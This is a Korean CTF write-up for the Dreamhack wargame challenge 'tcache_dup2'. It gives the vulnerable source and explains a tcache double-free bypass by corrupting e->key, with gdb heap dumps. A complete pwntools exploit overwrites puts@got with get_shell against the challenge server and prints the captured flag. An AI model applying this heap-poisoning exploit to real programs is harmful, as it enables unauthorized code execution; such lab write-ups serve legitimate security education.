Description
이 문제는 서버에서 작동하고 있는 서비스(tcache_dup2)의 바이너리와 소스 코드가 주어집니다.
취약점을 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Ubuntu 19.10 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
디버깅 실습을 위해 로컬 환경에서는 ubuntu 19.10 환경에서 테스트했다.
(libc 2.30-0ubuntu2.2)
checksec
seo@ubuntu:~/Documents/tcache_dup2$ checksec ./tcache_dup2
[*] '/home/seo/Documents/tcache_dup2/tcache_dup2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Source Code
tcache_dup2.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
    size_t size;
    if (idx >= 7)
        exit(0);
    printf("Size: ");
    scanf("%ld", &size);
    ptr[idx] = malloc(size);
    if (!ptr[idx])
        exit(0);
    printf("Data: ");
    read(0, ptr[idx], size-1);
}
void modify_heap() {
    size_t size, idx;
    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);
    printf("Size: ");
    scanf("%ld", &size);
    if (size > 0x10)
        exit(0);
    printf("Data: ");
    read(0, ptr[idx], size);
}
void delete_heap() {
    size_t idx;
    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);
    if (!ptr[idx])
        exit(0);
    free(ptr[idx]);
}
void get_shell() {
    system("/bin/sh");
}
int main() {
    int idx;
    int i = 0;
    initialize();
    while (1) {
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");
        scanf("%d", &idx);
        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}
1) create_heap
원하는 크기의 청크를 할당할 수 있다.
main_arena에서 heap 관리가 되지 않으며, tcache로 할당해야된다.
2) modify_heap
DFB 취약점을 사용하려면, modify_heap을 통해 이전 Tcache Poisoning 문제와 마찬가지로 e→key 값을 변조하기 위해 사용하면 될 것이다.
3) delete_heap
free(ptr[idx]);를 통해 청크를 해제할 수 있다.
Solution
먼저, tcache로 9바이트 메모리를 할당하고 free를 하면,
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./tcache_dup2")
def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)
def modify(idx, size, data):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)
def delete(idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter("idx: ", str(idx))
# malloc 9bytes and filled with AAAA...
create(9, "A"*8)
delete(0)
pause()
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0x20                 Freed                0x0              None
gdb-peda$ heapinfoall
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4052b0 (size : 0x20d50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x4052a0
gdb-peda$ p *(tcache_entry *)0x4052a0
$1 = {
  next = 0x0,
  key = 0x405010
}
그러면 0x405010이 e→key 값이 된다.
DFB 취약점을 위해 B를 8바이트 더미로 채우고 e→key를 변조해보자.
# Bypass DFB mitigation modify(0, 9, "B"*8 + "\x00") pause()
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0x20                 Freed 0x4242424242424242              None
gdb-peda$ heapinfoall
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4052b0 (size : 0x20d50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x4052a0 --> 0x4242424242424242 (invaild memory)
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0x20                 Freed 0x4242424242424242              None
gdb-peda$ p *(tcache_entry *)0x4052a0
$2 = {
  next = 0x4242424242424242,
  key = 0x405000
}
e→key 중 하위 1바이트가 “\x00″으로 덮어써진 것을 알 수 있다.
그리고 한번더 free를 해보면,
delete(0) pause()
gdb-peda$ heapinfoall
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4052b0 (size : 0x20d50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](2): 0x4052a0 --> 0x4052a0 (overlap chunk with 0x405290(freed) )
DFB mitigation이 우회되어,
청크는 중첩상태가 된 것을 확인할 수 있다.
이제 임의의 주소에 값을 쓸 수 있다.
tcache에 삽입할 주소를 입력해서 fd를 수정해서 할당한다.
이를 통해 특정 영역에 heap을 할당하여 변조가 가능하게 되는데,
여기서는 쉘을 획득하기 위해 puts@got 주소에 get_shell 주소로 덮어썼다.
# Overwrite get_shell to puts@got 
e = ELF("./tcache_dup2")
puts_got = e.got['puts']
get_shell = e.symbols['get_shell']
modify(0, 9, p64(puts_got))
#pause()
create(9, 'C'*8)
create(9, p64(get_shell))
p.interactive()
gdb-peda$ p *(tcache_entry *)0x4052a0
$1 = {
  next = 0x404020 <[email protected]>,
  key = 0x405010
}
gdb-peda$ p *(struct malloc_chunk *)0x405290
$2 = {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x21,
  fd = 0x404020 <[email protected]>,
  bk = 0x405010,
  fd_nextsize = 0x0,
  bk_nextsize = 0x20d51
}
solve.py
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
#p = process("./tcache_dup2")
p = remote("host3.dreamhack.games", 14912)
def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)
def modify(idx, size, data):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)
def delete(idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter("idx: ", str(idx))
# malloc 9bytes and filled with AAAA...
create(9, "A"*8)
delete(0)
#pause()
# Bypass DFB mitigation and free!
modify(0, 9, "B"*8 + "\x00")
delete(0)
# pause()
# Overwrite get_shell to puts@got 
e = ELF("./tcache_dup2")
puts_got = e.got['puts']
get_shell = e.symbols['get_shell']
modify(0, 9, p64(puts_got))
create(9, 'C'*8)
create(9, p64(get_shell))
p.interactive()
Result
seo@ubuntu:~/Documents/tcache_dup2$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 14912: Done
[*] '/home/seo/Documents/tcache_dup2/tcache_dup2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ ls
flag
tcache_dup2
$ cat flag
DH{025244482b3e8a14a2f2f1d984a753fa71a275918d61f6c2e3ae0980e2cb2a96}